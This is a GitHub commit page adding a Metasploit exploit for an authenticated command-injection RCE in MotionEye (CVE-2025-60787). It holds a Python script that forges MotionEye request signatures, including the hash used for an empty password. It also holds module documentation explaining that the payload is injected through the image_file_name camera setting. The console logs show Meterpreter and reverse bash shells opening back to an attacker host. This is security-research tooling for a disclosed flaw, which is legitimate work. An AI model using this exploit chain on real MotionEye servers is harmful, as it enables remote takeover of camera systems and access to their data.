Skip to content

Commit 91c0adb

Browse files
authored
Merge pull request #20585 from vognik/CVE_2025_60787
Add MotionEye Authenticated RCE (CVE-2025-60787)
2 parents 2c082a4 + 267a26b commit 91c0adb

File tree

3 files changed

+578
-0
lines changed

3 files changed

+578
-0
lines changed
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
import hashlib
2+
import re
3+
import argparse
4+
import sys
5+
from urllib.parse import urlsplit, parse_qs, unquote, quote
6+
from typing import Dict, List, Tuple
7+
8+
_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')
9+
10+
def compute_signature(method: str, path: str, body: str = '', key: str = '') -> str:
11+
if not method or not path:
12+
raise ValueError("Method and path must be provided.")
13+
14+
url_parts = urlsplit(path)
15+
base_path = url_parts.path
16+
17+
if not base_path.startswith('/'):
18+
base_path = '/' + base_path
19+
20+
raw_query_params: Dict[str, List[str]] = parse_qs(
21+
url_parts.query, keep_blank_values=True, strict_parsing=False
22+
)
23+
24+
canonical_query: List[Tuple[str, str]] = []
25+
for k, v_list in raw_query_params.items():
26+
if k == '_signature':
27+
continue
28+
29+
value = unquote(v_list[0]) if v_list else ''
30+
canonical_query.append((k, value))
31+
32+
canonical_query.sort(key=lambda item: item[0])
33+
34+
query_string = '&'.join(f"{k}={quote(v)}" for k, v in canonical_query)
35+
36+
if query_string:
37+
canonical_path = f"{base_path}?{query_string}"
38+
else:
39+
canonical_path = base_path
40+
41+
canonical_path = re.sub(_SIGNATURE_REGEX, '-', canonical_path)
42+
43+
body_for_signing = re.sub(_SIGNATURE_REGEX, '-', body)
44+
45+
if not key:
46+
password_hash = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
47+
else:
48+
password_hash = hashlib.sha1(key.encode('utf-8')).hexdigest().lower()
49+
50+
data = f"{method.upper()}:{canonical_path}:{body_for_signing}:{password_hash}"
51+
52+
return hashlib.sha1(data.encode('utf-8')).hexdigest().lower()
53+
54+
def main():
55+
parser = argparse.ArgumentParser(description="Computes a SHA1 signature for an HTTP request.")
56+
57+
parser.add_argument('--method', type=str, required=True,
58+
choices=['GET', 'POST', 'PUT', 'DELETE'],
59+
help="The HTTP method (e.g., GET).")
60+
parser.add_argument('--path', type=str, required=True,
61+
help="The canonical path (e.g., /api/resource?param=value).")
62+
parser.add_argument('--key', type=str, default='',
63+
help="The secret key. Defaults to an empty string.")
64+
parser.add_argument('--body', type=str, default='',
65+
help="The request body as a string. Defaults to an empty string.")
66+
67+
try:
68+
args = parser.parse_args()
69+
70+
signature = compute_signature(
71+
method=args.method,
72+
path=args.path,
73+
body=args.body,
74+
key=args.key
75+
)
76+
77+
print(f"Computed Signature: {signature}")
78+
79+
except ValueError as e:
80+
sys.stderr.write(f"Error: {e}\n")
81+
sys.exit(1)
82+
except Exception as e:
83+
sys.stderr.write(f"An unexpected error occurred: {e}\n")
84+
sys.exit(1)
85+
86+
87+
if __name__ == '__main__':
88+
main()
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Vulnerable Application
2+
3+
This module exploits a template injection vulnerability in the [MotionEye Frontend](https://github.com/motioneye-project/motioneye).
4+
5+
MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as `image_file_name`.
6+
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.
7+
8+
Successful exploitation will result in the command executing as the user running
9+
the web server, potentially exposing sensitive data or disrupting survey operations.
10+
11+
An attacker can execute arbitrary system commands in the context of the user running the web server.
12+
13+
## Exploit Workflow
14+
15+
1. Adds a new camera in MotionEye Frontend.
16+
2. Injects the payload into the `image_file_name` field (used for naming camera screenshots).
17+
3. Captures a screenshot ("snapshot" in the terminology of MotionEye), triggering the payload.
18+
19+
## Testing
20+
21+
1. Use Docker to set up the MotionEye app
22+
23+
`docker run -p 9999:8765 ghcr.io/motioneye-project/motioneye@sha256:2dcc3c4da1830ef824067375b2e022fa28c5fdbca773f5496bd35543ec45bef7`
24+
25+
2. Open http://127.0.0.1:9999/ and make sure the app is available
26+
27+
## Scenario
28+
29+
### cmd/linux/http/x64/meterpreter/reverse_tcp
30+
31+
```
32+
msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787
33+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
34+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1
35+
RHOSTS => 127.0.0.1
36+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 9999
37+
RPORT => 9999
38+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set FETCH_SRVHOST 172.17.0.1
39+
FETCH_SRVHOST => 172.17.0.1
40+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set PASSWORD 12345
41+
PASSWORD => 12345
42+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
43+
44+
[*] Started reverse TCP handler on 192.168.19.130:4444
45+
[*] Running automatic check ("set AutoCheck false" to disable)
46+
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
47+
[*] Adding malicious camera...
48+
[+] Camera successfully added
49+
[*] Setting up exploit...
50+
[+] Exploit setup complete
51+
[*] Triggering exploit...
52+
[+] Exploit triggered, waiting for session...
53+
[*] Sending stage (3045380 bytes) to 172.17.0.2
54+
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 172.17.0.2:38124) at 2025-10-04 21:08:57 -0400
55+
[*] Removing camera
56+
[+] Camera removed successfully
57+
58+
meterpreter > sysinfo
59+
Computer : 172.17.0.2
60+
OS : Debian 13.1 (Linux 6.11.2-amd64)
61+
Architecture : x64
62+
BuildTuple : x86_64-linux-musl
63+
Meterpreter : x64/linux
64+
```
65+
66+
### cmd/unix/reverse_bash
67+
68+
```
69+
msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787
70+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
71+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set payload cmd/unix/reverse_bash
72+
payload => cmd/unix/reverse_bash
73+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1
74+
RHOSTS => 127.0.0.1
75+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 9999
76+
RPORT => 9999
77+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
78+
79+
[*] Started reverse TCP handler on 192.168.19.130:4444
80+
[*] Running automatic check ("set AutoCheck false" to disable)
81+
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
82+
[*] Adding malicious camera...
83+
[+] Camera successfully added
84+
[*] Setting up exploit...
85+
[+] Exploit setup complete
86+
[*] Triggering exploit...
87+
[+] Exploit triggered, waiting for session...
88+
[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400
89+
[*] Removing camera
90+
[+] Camera removed successfully
91+
92+
cat /etc/os-release
93+
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
94+
NAME="Debian GNU/Linux"
95+
VERSION_ID="13"
96+
VERSION="13 (trixie)"
97+
VERSION_CODENAME=trixie
98+
DEBIAN_VERSION_FULL=13.1
99+
ID=debian
100+
HOME_URL="https://www.debian.org/"
101+
SUPPORT_URL="https://www.debian.org/support"
102+
BUG_REPORT_URL="https://bugs.debian.org/"
103+
```
104+
105+
## Script for signing requests
106+
107+
A script for manually signing requests is available in data/exploits/CVE-2025-60787/sign_request.py and can be used for debugging purposes.
108+
109+
Example of usage:
110+
```
111+
python3 ./sign_request.py --method "GET" --path "/config/1/get/?force=true&_=1759747431350&_username=admin" --body "" --key ""
112+
```

0 commit comments

Comments
 (0)